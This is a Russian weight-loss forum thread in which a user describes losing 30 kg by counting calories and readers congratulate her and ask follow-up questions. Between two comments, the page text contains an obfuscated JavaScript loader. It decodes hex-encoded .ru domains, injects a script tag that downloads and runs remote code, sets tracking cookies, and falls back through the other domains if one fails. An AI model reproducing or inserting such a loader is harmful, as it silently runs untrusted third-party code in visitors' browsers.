Галин@

Надеть чужие штаны может каждый. А вот сбросить 30 кг.....

Галин@  -> Всем
Надеть чужие штаны может каждый. А вот сбросить 30 кг.....
Сегодня ровно год моего знакомства с МЗР. Подведём итоги. Пришла сюда с весом 94.6 кг. На сегодняшний день весы показывают 69.5. Итого за год отвес 25 кг. Потеря в объемах ГТБ по 20 см. Вместе со сброшенными ещё до МЗР 5 кг общий отвес на сей момент составляет 30 килограммов. Это 30% от стартового веса. 58-й размер одежды сменила на 48-й. Брюки на фото прав.да мои, носила их прошлой зимой)))).Это был очень плодотворный год, и не только потому, что удалось за это время привести себя в порядок. Самое важное , что я получила на этом ресурсе, это знание. За что огромное спасибо всем форумчанам. Надеюсь, что промывание мозга позволит мне удержать результат надолго. Неделю назад у меня сломались кухонные весы, я думаю, что это знак того, что пора завязывать с ведением дневника. За неделю пока ничего не набрала, буду стремиться к этому и дальше. a33875bb6193e785765140a79a4f78ad.JPG P.S. Чтобы мной особо не восхищались)), сообщаю, что тараканы победили))). Через 2 недели после публикации поста вес начал ползти вверх и я купила-таки новые весы и опять всё взвешиваю. Наркоманка)))
P.P.S. С момента публикации поста прошло уже больше года. Всем спасибо за комментарии. Мне очень приятно внимание к моей персоне. Но немного устала отвечать на вопросы о том, как мои дела на данный момент. Поэтому ответ пишу здесь для всех. На данный момент я вешу 68 кг. Мой рост 170 см ( тоже ответ на популярный вопрос))). За питанием слежу, не разжирела и не собираюсь))) Чего и всем желаю. 28.07.2016.
Светлана Назаровец Светлана Назаровец
15.05.15 20:23 Это нравится:0Да/0Нет Ещё
Умница и красавица!!!
Anastasia Anastasia
15.05.15 20:25 Это нравится:0Да/0Нет Ещё
Умничка! Продолжайте в том же духе! :)
Skiboska Skiboska
15.05.15 20:56 Это нравится:0Да/0Нет Ещё
Ого, вот так штанишки! Ха-ха! Молодец.:хорошо:
**Я** **Я**
15.05.15 21:19 Это нравится:1Да/0Нет Ещё
Посмотрела Ваши фото До и После. Вам с такими потрясающими результатами можно ягоды Годжи рекламировать! ;):ah:(Шутка)
Ирина Гребенникова Ирина Гребенникова
15.05.15 22:40 Это нравится:0Да/0Нет Ещё
Впечатляющий результат!!!:хорошо:
Галин@ Галин@
15.05.15 23:47 Это нравится:3Да/0Нет Ещё
Александра Попова написал:
можно ягоды Годжи рекламировать!
Ну нет уж. Рекламирую и буду рекламировать только МЗР. Я не предатель)))
Наташа Счастливая Наташа Счастливая
16.06.15 16:08 Это нравится:0Да/0Нет Ещё
Как здорово))) какая Вы молодец! Разница ошеломляющая!- Сбросили не только лишние килограммы, но и лишние годы! Оставайтесь всегда молодой и красивой))) :rose:
Оксана Оксана
16.06.15 16:16 Это нравится:0Да/0Нет Ещё
Успехов вам в поддержании достигнутых результатов. По себе знаю, что это нелегко.
Светлана Светлана
16.06.15 16:37 Это нравится:1Да/0Нет Ещё
Суперский результат! Обалдеть! Как будто два разных человека, на одних фото мама, а на других ее дочка. Вы просто красавица. Я тоже так хочу, но боюсь у меня не хватит терпения. Хотя после ваших результатов опять иска загорелась. Буду стараться. Спасибо за пост) Вы молодец)
Ирина Ирина
19.06.15 14:26 Это нравится:1Да/0Нет Ещё
Обалденный результат! Оч круто! Я только месяц как начала, отвес пока незначительный, но с таким мотиватором я готова горы свернуть! Вы просто молодец! Оч здорово!
Елена Степанова Елена Степанова
19.06.15 14:35 Это нравится:0Да/0Нет Ещё
Галина, Вы умничка,так держать. :хорошо:
svetlana svetlana
19.06.15 15:00 Это нравится:0Да/0Нет Ещё
Молодец, так держать.
Анна Фролик Анна Фролик
19.06.15 15:12 Это нравится:0Да/0Нет Ещё
Отлично выглядите! Какой у Вас рост? Я в таком весе смотрюсь раза в 2 шире...
Галин@ Галин@
19.06.15 15:13 Это нравится:0Да/0Нет Ещё
Анна Фролик, 170 см
Анна Фролик Анна Фролик
19.06.15 15:17 Это нравится:0Да/0Нет Ещё
Галин@, У меня тоже. У Вас, наверное, кость тяжелая. Или у меня сверхлегкая))). Выглядите правда очень стройной, спасибо за мотивацию!
Ирина Ирина
24.06.15 13:56 Это нравится:0Да/0Нет Ещё
Вы умничка. Глядя на вас поднимается боевой дух. Спасибо
любовь любовь
05.07.15 1:27 Это нравится:0Да/0Нет Ещё
посмотрела ваши фотки и восхищена ..из тетеньки вы превратились в девочку..супер..очень рада за вас.надеюсь и со мной когда -нибудь случится такое же превращение)))
Яна Мэй Яна Мэй
05.07.15 1:43 Это нравится:0Да/0Нет Ещё
я тоже теперь буду контролировать себя постоянно, уже есть опыт похудения на 34 кило, потом срывы, потом беременность, обжираловка после родов, а сейчас снова -10 кг, а хочется еще - 20-25 хотя бы)) Вам желаю удачи в самоконтроле и самосовершенствовании)))
Anapola AS Anapola AS
07.07.15 22:16 Это нравится:0Да/0Нет Ещё
Чудо-результат! Очень вдохновляет! Вам тоже хочу пожелать стойкости. Быть красивой и здоровой-дорогого стоит! Тянусь за Вами!
Елена Михайлиди Елена Михайлиди
07.07.15 23:25 Это нравится:0Да/0Нет Ещё
Anapola AS, это точно!
Юлия Юлия
18.07.15 21:01 Это нравится:1Да/0Нет Ещё
Я не в чём себя не ограничиваю , не в мучном не в сладком когда хочется , просто стараюсь соблюдать норму калорий . Сразу скажу я не фанат сладкого и по этому хочется мне не так часто . На МЗР три недели - 10 кг .
med-ved med-ved
18.07.15 21:09 Это нравится:0Да/0Нет Ещё
Юлия, у всех по-разному. Я видел эксперименты - люди, не предрасположенные к ожирению, если им незаметно дать пищу, содержащую очень много жиров и калорий, после этого долго чувствуют сытость, а другие люди уже через пару часов готовы съесть привычный обед.

Я, если не слежу за едой, запросто начну переедать. Но если хотя бы минимально слежу - не ем сладостей (кроме разовых 5-10г) или не ставлю перед собой килограмм орехов/семечек - то даже без записи все получается, даже худел в таком режиме медленно.
Галин@ Галин@
19.07.15 0:01 Это нравится:3Да/0Нет Ещё
Юлия написал:
На МЗР три недели - 10 кг .
Сколько, сколько? Вы ничего не перепутали? Может, 3 месяца? Или 1 килограмм. Поверю только если ваш стартовый вес около 150 кг, или если вы взвесились в начале вечером, после поедания селёдки, запитой шестью стаканами чая, в одежде и с сумкой))))).
Юлия Юлия
19.07.15 3:38 Это нравится:0Да/0Нет Ещё
Галин@, Стартовый вес 101 кг сейчас вешу 91 кг на проекте с 28 июня .
Галин@ Галин@
19.07.15 8:44 Это нравится:1Да/0Нет Ещё
Юлия, Ничего себе. Может, у вас отёки были? Как-то много. Из всех знакомых мне похудельцев у вас рекорд. Очень уж резвый старт, даже не верится в такую цифру.
Яна . Яна .
19.07.15 0:06 Это нравится:0Да/0Нет Ещё
Отлично!!! Молодец!
Даниїл Стрюков Даниїл Стрюков
28.08.15 17:16 Это нравится:0Да/0Нет Ещё
Класс!)
Alena Arkhipova Alena Arkhipova
31.08.15 1:21 Это нравится:0Да/0Нет Ещё
Умничка!
Яна . Яна .
31.08.15 1:24 Это нравится:0Да/0Нет Ещё
Молодец!!! отличный резльтат!!!
Vika Vika
03.09.15 16:50 Это нравится:0Да/0Нет Ещё
Поздравляю, с победой)
Галин@ Галин@
03.09.15 16:54 Это нравится:1Да/0Нет Ещё
Vika, Это ещё не победа, скоро покажу минус 35))))
Vika Vika
03.09.15 16:57 Это нравится:0Да/0Нет Ещё
Я сейчас 63, очень хочу вернуть свои 50 которые были до беременности, вот даже не знаю как с этим справится, начинала уже раз 20, правда скинула уже 9, но это за целый год, за год могла бы уже сбросить все.(((( Не могу набраться сил, хватает максимум на месяца 3-3,5
сніжана совайло сніжана совайло
12.09.15 15:54 Это нравится:0Да/0Нет Ещё
А скільки програма вам насчитала зїдать кілокалорій в день? Ато мені 2000 і я думаю шо це багато.
Галин@ Галин@
12.09.15 16:03 Это нравится:1Да/0Нет Ещё
сніжана совайло, Мой рост 170, вес сейчас уже 66 , программа велит есть 1516 ккал, если без тренировки, с тренировкой 1700-1800. У вас должны быть свои цифры. Вы говорили. что кормите ребенка. дело в том. что программа не разрешает кормящим худеть, поэтому и насчитывает больше калорийность. Зайдите в "личные данные". Внесите рост и вес. Уберите в настройках кормление, поставьте "сбросить лишний вес", и узнаете, сколько вам надо есть для похудения. так же не забудьте указать группу интенсивности труда, и после этого нажать кнопочку "сохранить". И программа рассчитает вам новый коридор.
сніжана совайло сніжана совайло
12.09.15 15:56 Это нравится:0Да/0Нет Ещё
Але похудали ви добре. Молодці!!!!!!!!!!!!Так тримать.
Арадхана Арадхана
12.09.15 16:09 Это нравится:0Да/0Нет Ещё
Вот это умница!!!! Надеюсь что и у меня получится...
Сергей Сергей
12.09.15 16:24 Это нравится:0Да/0Нет Ещё
Обещаете, что будет???
А не то я вашу заберу вместе со штанами тем более чужими
Людмила Штыркова Людмила Штыркова
12.09.15 16:24 Это нравится:0Да/0Нет Ещё
ошеломляющий результат! браво!!! :bravo:
Галин@ Галин@
12.09.15 16:28 Это нравится:0Да/0Нет Ещё
Сергей написал:
А не то я вашу заберу вместе
Да забирайте, я себе за один вечер новую наболтаю))))
Сергей Сергей
12.09.15 16:32 Это нравится:0Да/0Нет Ещё
А если серьезно меня впечатлил ваш результат, хочу хочу хочу так же,
Давайте вы мне версию социальную, а я вам кг. 30 живого веса, наикачественного жира
Галин@ Галин@
12.09.15 16:36 Это нравится:0Да/0Нет Ещё
Сергей, Да Щасссссс))) Давайте лучше я за вас поболтаю в ленте, а вы за меня ещё 5 кг сборсите))))
Ирина Барковская Ирина Барковская
12.09.15 16:38 Это нравится:0Да/0Нет Ещё
Галина, ну вы умница-красавица!!! Очень хорошо выглядите! ПОЗДРАВЛЯЮ!!! ДЕРЖИТЕ ВЕС! ВАМ ОЧЕНЬ ИДЁТ!
Галин@ Галин@
12.09.15 16:41 Это нравится:1Да/0Нет Ещё
Ирина Барковская, Спасибо. Я держу. Пост 4-х месячной давности, с тех пор я даже немного в миусе))))
Ирина Барковская Ирина Барковская
12.09.15 16:49 Это нравится:1Да/0Нет Ещё
Здорово, я вдохновилась вашим фото! Сама начала с 96, сейчас 88. Хочу также 60.
Галина, а как с кожей, особенно на животе, втянулась? Меня эта часть тела больше беспокоит, не хочу чтоб мешок из кожи остался.
Галин@ Галин@
12.09.15 16:57 Это нравится:3Да/0Нет Ещё
Ирина Барковская, Втянулась. Тут главное. не гнаться за скоростью. Я же не быстро худела. Скоро 2 года будет, как я всё это затеяла. Я несколько раз брала перерывы, которые были продиктованы не ленью. а разумом. Как только видела, что кожа начинает повисать, переставала худеть, ждала, пока она догонит.
Ирина Барковская Ирина Барковская
12.09.15 17:01 Это нравится:0Да/0Нет Ещё
А у меня вот, быстро пошло... за 1,5 месяца 8 кг.... наверно многовато, вот я думаю недельку посидеть на этом весе. Вы,Галина занимались? Силовые, кардио?
Галин@ Галин@
12.09.15 17:12 Это нравится:3Да/0Нет Ещё
Ирина Барковская написал:
Вы,Галина занимались?
Почему в прошедшем времени? Я занимаюсь 8 лет, и буду заниматься дальше. Когда вес устраивает - только силовые. Если хочу похудеть - силовые плюс кардио. Не поверите, но в тот период. когда я разожралась до 100 кг - я тоже занималась. К сожалению. я слишком поздно поняла. что питание первично, столько времени и сил потеряно зря.
Ирина Барковская написал:
за 1,5 месяца 8 кг.
Посмотрите. как будет дальше, старт при большом весе всегда интенсивный. Возможно, скорость сама снизится. но лучше этого не дожидаться. я каждые 3-4 месяца беру перерыв , на 1-2 месяца ухожу на удержание веса, затем по новой на дефицит.
Ирина Барковская Ирина Барковская
12.09.15 17:15 Это нравится:0Да/0Нет Ещё
Спасибо, Галина за советы!
Максим Максим
12.09.15 19:04 Это нравится:0Да/0Нет Ещё
Поздравляю, очень хороший результат)
Лана Казанова Лана Казанова
08.11.15 10:13 Это нравится:0Да/0Нет Ещё
Ирина Вы большая молодец!!! Ваш пример очень вдохновляет. Спасибо Вам большое.
Анна Крамар Анна Крамар
10.01.16 20:01 Это нравится:0Да/0Нет Ещё
Вы большая молодец!!!
ПОНТиАК47 ПОНТиАК47
30.01.16 1:11 Это нравится:0Да/0Нет Ещё
СУПЕР!!!!! :bravo: :rose: :rose: :rose:
Ольга Стежкина Ольга Стежкина
03.02.16 23:28 Это нравится:0Да/0Нет Ещё
Результаты поражают. СУПЕР!!!
Катерина Терехова Катерина Терехова
15.02.16 18:06 Это нравится:0Да/0Нет Ещё
Вы очень здорово похудели, пожалуй, я возьму вас за пример!
Галин@ Галин@
15.02.16 18:11 Это нравится:0Да/0Нет Ещё
Катерина Терехова, Спасибо, но это не самое моё "стройное фото". В альбоме есть, где я ещё на 5 кг меньше)
Nikol_Yva Nikol_Yva
15.02.16 18:44 Это нравится:0Да/0Нет Ещё
Зашла в ваш блог, посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец! :хорошо:
Маруся Маруся
17.02.16 18:47 Это нравится:0Да/0Нет Ещё
Зашла в ваш блог, посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец!

Полностью согласна с девочками
Маруся Маруся
17.02.16 18:47 Это нравится:0Да/0Нет Ещё
Полностью согласна с девочками
Вы просто умничка!!!!!!!!!!
Маруся Маруся
17.02.16 18:48 Это нравится:0Да/0Нет Ещё
Самое тяжелое --начать и поддержать саму себя...
Марьяна Тихомирова Марьяна Тихомирова
17.02.16 18:52 Это нравится:0Да/0Нет Ещё
круть))девичья фигурка прямо стала)респект!!
Елена Климентионок Елена Климентионок
17.02.16 21:51 Это нравится:0Да/0Нет Ещё
Вы мега супер молодец! :хорошо:часто читаю Ваши посты и коменты, заочно уважаю Вас)) смотрю пост написан почти год назад, а скажите пожалуйста как сейчас обстоят дела с весом?
Влада Шестопалова Влада Шестопалова
17.02.16 22:18 Это нравится:0Да/0Нет Ещё
Вы огромная молодец!!!!! А вес - это дело наживное :хихикаю: то вниз то вверх! главное не возвращаться в начало!
Lidiya Lidiya
17.02.16 22:56 Это нравится:0Да/0Нет Ещё
это труд, суппер
Галин@ Галин@
17.02.16 23:06 Это нравится:0Да/0Нет Ещё
Елена Климентионок написал:
а скажите пожалуйста как сейчас обстоят дела с весом?
Сейчас 67. Держусь последнее время около 65 плюс минус пару кг, сейчас плюс. вот, снова худею.
Леюшка Леюшка
17.02.16 23:10 Это нравится:0Да/0Нет Ещё
Какая УМНИЧКА! Такие примеры вселяют надежду. Удачи!
Людмила Людмила Людмила Людмила
17.02.16 23:28 Это нравится:0Да/0Нет Ещё
Вау! я тоже так хочу...

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Анна Анна
21.02.16 13:22 Это нравится:0Да/0Нет Ещё
Воу-воу, красотка!) красота идет покорять мир!))) а тараканы.... будем давить)
Катя ) Катя )
25.02.16 13:21 Это нравится:0Да/0Нет Ещё
Осталось: держать! ;-)
Виктор Князь Виктор Князь
29.02.16 0:47 Это нравится:0Да/0Нет Ещё
Ольга Титова Ольга Титова
25.03.16 9:43 Это нравится:0Да/0Нет Ещё
очень круто!) фото "до" и "после" это прям мотивашка)
Алька Алька
25.03.16 10:04 Это нравится:0Да/0Нет Ещё
Вы большая молодец! ОТличный результат!
Елена Гелова Елена Гелова
25.03.16 10:13 Это нравится:0Да/0Нет Ещё
Здорово, что этот ваш пост откопали :) Результат шикарный! ) Я вот все сомневаюсь, что без подсчета ккал никак не удержать вес, но как-то примеры говорят об обратном. Видимо, надо настраиваться, что подсчет КБЖУ - это на долгий срок...
Pink Rose Pink Rose
25.03.16 10:18 Это нравится:0Да/0Нет Ещё
здорово. и себе на зметку
Татьяна Татьяна
25.03.16 10:23 Это нравится:0Да/0Нет Ещё
А помолодели-то как! Прямо девочка (стала) и тетя (была) (две противоположности)! Молодец! Правильно, что весы купили, без них сразу идет расслабление и прибавка в весе! Проверено на себе :D
Ирина Ирина
25.03.16 10:25 Это нравится:0Да/0Нет Ещё
:хорошо:
Радужная Радужная
25.03.16 10:28 Это нравится:0Да/0Нет Ещё
Молодец,от души рада за вас! :rose:
Я, в свое время (10 лет назад) с весом 75кг влазила в 48 размер,веселушка! :)
Радужная Радужная
25.03.16 10:32 Это нравится:0Да/0Нет Ещё
Татьяна Аганесова, чем помочь?спрашивайте. :)
Радужная Радужная
25.03.16 10:37 Это нравится:0Да/0Нет Ещё
Как сейчас то дела?Увидела что пост от апреля прошлого года. :)
Наталья Наталья
25.03.16 13:13 Это нравится:0Да/0Нет Ещё
Молодец! Очень рада за Вас!
Галин@ Галин@
25.03.16 14:10 Это нравится:1Да/0Нет Ещё
Eлена Радужная написал:
Как сейчас то дела?
Нормально, держусь. За 70 кг в течение года не выбивалась. Калории считаю до сих пор, видимо, таков мой удел, что же со мной, обжорой, поделаешь))). Попытки дойти до следующей отметки ( 60 кг) пока успехом не увенчались, но нет ничего невозможного)
Радужная Радужная
26.03.16 15:12 Это нравится:0Да/0Нет Ещё
Галин@,здорово,вы все время с МЗР?отпуск?поездки? :)
Невозможное,возможно! :хорошо:
Юлия Юлия
25.03.16 19:44 Это нравится:0Да/0Нет Ещё
Замечательный результат!
Ольга Иванова Ольга Иванова
26.03.16 15:21 Это нравится:0Да/0Нет Ещё
Отличный результат!
Наталья Наталья
26.03.16 15:33 Это нравится:0Да/0Нет Ещё
Результат отличный! С момента публикации этого поста прошел почти год. А как вы сейчас выглядите? Что изменилось за год? Питание? Вес? Образ жизни?
Галин@ Галин@
27.03.16 0:08 Это нравится:2Да/0Нет Ещё
Наталья, У меня есть и более поздние записи. Можете почитать в моем блоге. А мой вес в течение 2-х лет и до сегодняшнего дня можно увидеть, открыв любой из моих дневников питания.
Александр Головий Александр Головий
01.04.16 17:43 Это нравится:0Да/0Нет Ещё
Отличница, вверх не ползем, идем вниз или топчемся на месте
alina 1900 alina 1900
27.04.16 10:39 Это нравится:0Да/0Нет Ещё
Супер! Вы молодец! Моя цель тоже 25кг, но я только в начале пути!
Romashka61 Romashka61
27.04.16 10:42 Это нравится:0Да/0Нет Ещё
Вы умница! Теперь держать, держать и держать! :хорошо:
галюсик галюсик
27.04.16 10:52 Это нравится:0Да/0Нет Ещё
Romashka61, Это результат годовой давности. Спросите лучше какие сейчас у нее результаты?
Romashka61 Romashka61
27.04.16 10:58 Это нравится:1Да/0Нет Ещё
галюсик, так у нее сейчас еще лучше: 67.7.
галюсик галюсик
27.04.16 11:00 Это нравится:0Да/0Нет Ещё
Romashka61, За год маловато будет.
Romashka61 Romashka61
27.04.16 11:15 Это нравится:1Да/0Нет Ещё
галюсик, Зато и кожа, и мышцы - все в тонус пришли.
Лена Лена
27.04.16 11:01 Это нравится:0Да/0Нет Ещё
Вы такая молодец , а я 8 кг. сбрасываю ну так медленно, -2 кг. с февраля месяца как , а так хотелось привести себя в порядок к лету.
Наталья Наталья
27.04.16 11:23 Это нравится:0Да/0Нет Ещё
Вы молодец! Очень хороший результат! Я тоже стремлюсь избавится от 25 кг.
Галин@ Галин@
27.04.16 23:52 Это нравится:3Да/0Нет Ещё
галюсик написал:
За год маловато будет.
Так мне дальше-то особо некуда худеть. Я и не стремилась много сбросить. Я уже год практически на удержании. Мне за второй год тоже надо было тридцатник скинуть? Так у меня нет второго лишнего тридцатника))) ( к счастью)). Мои нынешние 66 кг при росте 170 - это нормальный вес.
Romashka61 написал:
сейчас еще лучше: 67.7.
Не-а. 65.9 сейчас))).
Людмилка Людмилка
28.04.16 2:50 Это нравится:0Да/0Нет Ещё
Галин@, какая молодец. Какая сила воли ! Вы сумели вернуть себя ! Теперь обязательно следите хотя бы год а может и два за весом . Весы пригодятся. Зато никогда не вернетесь к лишним. Вы прекрасны !
мария мария мария мария
02.05.16 8:21 Это нравится:0Да/0Нет Ещё
результат впечатляющий, перемены разительные, оч хорошая мотивация для других, поздравляю :bravo:
Елена Попова Елена Попова
02.05.16 8:28 Это нравится:0Да/0Нет Ещё
а я вчера уже рабочие штаны ушила, падали)
Александр Александр
02.05.16 8:33 Это нравится:0Да/0Нет Ещё
отличные результаты!!
Нина Нина
02.05.16 8:59 Это нравится:0Да/0Нет Ещё
:ah: Красота!!!
Людмила Мялова Людмила Мялова
02.05.16 9:04 Это нравится:0Да/0Нет Ещё
Рада за Вас , результат ошеломляющий. Держитесь в этом весе.
Юлия Дорожкина Юлия Дорожкина
02.05.16 9:34 Это нравится:0Да/0Нет Ещё
Круто! Молодец!
Алена Аленка Алена Аленка
02.05.16 9:40 Это нравится:0Да/0Нет Ещё
Результат отличный! Так держать!
Елена Елена Елена Елена
02.05.16 9:49 Это нравится:0Да/0Нет Ещё
Вы умничка,хороший пример для нас!
Ольга Мясникова Ольга Мясникова
02.05.16 11:16 Это нравится:0Да/0Нет Ещё
молодец
Маша Mедведь Маша Mедведь
02.05.16 11:25 Это нравится:1Да/0Нет Ещё
молодцы !!! так держать
Елена Елена
02.05.16 11:31 Это нравится:1Да/0Нет Ещё
Потрясающе, отличный результат!
Ольга Саликова Ольга Саликова
02.05.16 11:43 Это нравится:0Да/0Нет Ещё
Прекрасный результат!Поздравляю!
Елена Елена
02.05.16 12:01 Это нравится:0Да/0Нет Ещё
Вау! просто блеск! Молодец!!!!!!!!!!!
Юлия Базилева Юлия Базилева
17.05.16 16:02 Это нравится:0Да/0Нет Ещё
Вы просто МОЛОДЕЦ!!!
завидую...
надеюсь у меня хватит вашей выдержки и стремления
вы просто СУПЕР!!!
Серафима Серафима
17.05.16 16:08 Это нравится:0Да/0Нет Ещё
Посту больше года!!!
Галин@ Галин@
17.05.16 16:14 Это нравится:0Да/0Нет Ещё
серафима сургутова, Дело в том, что пост попал в популярные истории успеха и теперь часто мелькает при случайном заглядывании в этот раздел. Уже не знаю. что и сделать, чтобы его больше не выковыривали из небытия. А стереть жалко)))
Серафима Серафима
17.05.16 16:17 Это нравится:0Да/0Нет Ещё
Галин@, А сейчас результат тот-же? Или ещё лучше???
Галин@ Галин@
17.05.16 16:20 Это нравится:0Да/0Нет Ещё
серафима сургутова, Ну давайте хотя бы вы не будете задавать этот вопрос. Вы же знаете, как найти на него ответ. Вы же не новичок.
Серафима Серафима
17.05.16 16:25 Это нравится:0Да/0Нет Ещё
Галин@, Не поняла! Я просто уже худела на 20 кг. Потом не удержала...... Поэтому здесь. И точно знаю, что удержать вес гораздо труднее, чем сбросить. Поэтому и спросила. И ничего личного..... И никого не хотела обидеть..... Извините если что не так!!!
Галин@ Галин@
17.05.16 16:33 Это нравится:0Да/0Нет Ещё
серафима сургутова, Я имела в виду, что можно найти любой мой дневник питания и там увидеть мой текущий вес. Мне казалось, что вы на сайте уже давно и знаете об этом. Извините, я тоже не хотела вас обидеть.
Серафима Серафима
17.05.16 16:40 Это нравится:0Да/0Нет Ещё
Галин@, Я просто не изучаю чужие дневники! Иногда просматриваю у новичков, которые совета просят. А уже у "акул" похудения даже в голову не пришло, извините ещё раз!!!
Наталья Веденеева Наталья Веденеева
17.05.16 16:20 Это нравится:1Да/0Нет Ещё
А мне нравится, пусть периодически появляется, новеньких то много, пусть учатся, и я учусь.
Свинина Петровна Свинина Петровна
17.05.16 16:22 Это нравится:0Да/0Нет Ещё
Галин@ написал:
А стереть жалко)))
Еще чего! Пусть выковыривают, мзр должен знать своих героев!
madjulia madjulia
17.05.16 16:33 Это нравится:0Да/0Нет Ещё
вот это да!
Наталья Наталья
17.05.16 22:14 Это нравится:0Да/0Нет Ещё
Молочинка!!!!))))
надежда алексеева надежда алексеева
17.05.16 22:32 Это нравится:0Да/0Нет Ещё
Снимаю шляпу!Молодец!
Константин Константин
22.05.16 19:18 Это нравится:0Да/0Нет Ещё
Грац, Респект! - будем брать пример
Нина Newba Нина Newba
22.05.16 19:21 Это нравится:0Да/0Нет Ещё
Шикарный результат! Умница! :хорошо:
Вита Сон Вита Сон
31.05.16 17:57 Это нравится:0Да/0Нет Ещё
Галина, спасибо Вам огромное, за помощь.
Сейчас увидела Ваши фотографии. Вы молодец! :хорошо: Просто дюймовочка! Очень вдохновляет.
Mandarinka MANDARINKA Mandarinka MANDARINKA
08.06.16 18:55 Это нравится:0Да/0Нет Ещё
Вы мой мотиватор! :хорошо: Удачи вам!
Елена К Елена К
08.06.16 19:08 Это нравится:0Да/0Нет Ещё
какая вы молодец!
Светлана Злат Светлана Злат
08.06.16 19:13 Это нравится:0Да/0Нет Ещё
такой результат заслуживает восхищения. Вы просто молочдинка. Так приятно посмотреть на красивую фигурку. А даже и не скажешь , что могли быть в таком солидном весе. Конечно похвально!
Галин@ Галин@
08.06.16 19:26 Это нравится:1Да/0Нет Ещё
Светлана, Очень даже могла. В альбоме фотки есть меня огромной.
Светлана Злат Светлана Злат
08.06.16 19:30 Это нравится:1Да/0Нет Ещё
Галина @. я посмотрела ваши фотографии , это как в мультике фильм наоборот . От женщины к молоденькой девушке. Я еще больше поражена, чем до этого!!! Просто слова восхищения!!!
Deko Deko
16.07.16 16:46 Это нравится:1Да/0Нет Ещё
Галина, зашла к вам в гости) здорово!!!! сказать "молодец, умница, большой силы воли человек" значит ничего не сказать)))
Наталия Кадочникова Наталия Кадочникова
16.07.16 17:33 Это нравится:0Да/0Нет Ещё
Класс, вы молодчинка :rose: фото посмотрела, в восторге от вас!
Дина Игнатенко Дина Игнатенко
07.09.16 10:20 Это нравится:1Да/0Нет Ещё
Да, если хочешь хорошо выглядеть, то диета (в хорошем смысле этого слова) должна поддерживаться всю жизнь а не временно!
Miray Sim Miray Sim
12.05.17 22:59 Это нравится:0Да/0Нет Ещё
Как вам удается поддержание?
Галин@ Галин@
12.05.17 23:03 Это нравится:2Да/0Нет Ещё
Miray Sim, Хотите со мной поговорить - пишите в личку. Не надо выковыривать мои старые посты из нафталина)))). Конкретно по Вашему вопросу - сегодня вешу на 100 гр меньше, чем на этом фото. Вес колеблется +- 5 кг, но в среднем удержание удается.
Константин Z Константин Z
25.05.17 17:26 Это нравится:0Да/0Нет Ещё
Галин@, а чего он колеблется?
Галин@ Галин@
25.05.17 17:27 Это нравится:0Да/0Нет Ещё
Константин Z, А он нерешительный)
жИринка жИринка
20.06.17 17:05 Это нравится:0Да/0Нет Ещё
Извините, не могу прочесть все комментарии (228!!!), а Вы занимались спортом? Как кожа себя "вела"?
Галин@ Галин@
20.06.17 17:11 Это нравится:0Да/0Нет Ещё
жИринка, Спортом это вряд-ли можно назвать. Скорее физкультурой. Не пашу как папа Карло, так немножко фитнеса для поддержания формы. Кожа вела себя нормально. Я же эти 30 кг 1.5 года сбрасывала.
татьяна татьяна
20.06.17 17:44 Это нравится:0Да/0Нет Ещё
какая же вы умница и красавица! это же такой труд! я в восхищении!
Elena Demopoulou Elena Demopoulou
20.06.17 19:49 Это нравится:0Да/0Нет Ещё
Красавица,молодчинка!
Анастасія Сербіна Анастасія Сербіна
20.06.17 19:59 Это нравится:0Да/0Нет Ещё
Вот это да))Вы такая молодец))))
Кирилл Барсуков Кирилл Барсуков
30.06.17 10:51 Это нравится:0Да/0Нет Ещё
Отличный результат!
Лариса Громакова Лариса Громакова
30.06.17 11:09 Это нравится:0Да/0Нет Ещё
Ого! Круто! Умничка!
Виктория Виктория
30.06.17 11:10 Это нравится:0Да/0Нет Ещё
:хорошо:
Ольга Степанова Ольга Степанова
30.06.17 11:14 Это нравится:0Да/0Нет Ещё
:хорошо:
Татьяна Писарева Татьяна Писарева
30.06.17 12:12 Это нравится:0Да/0Нет Ещё
:хорошо:
Екатерина Соколова Екатерина Соколова
20.07.17 21:49 Это нравится:0Да/0Нет Ещё
У вас большие растяжки?
Галин@ Галин@
20.07.17 22:06 Это нравится:2Да/0Нет Ещё
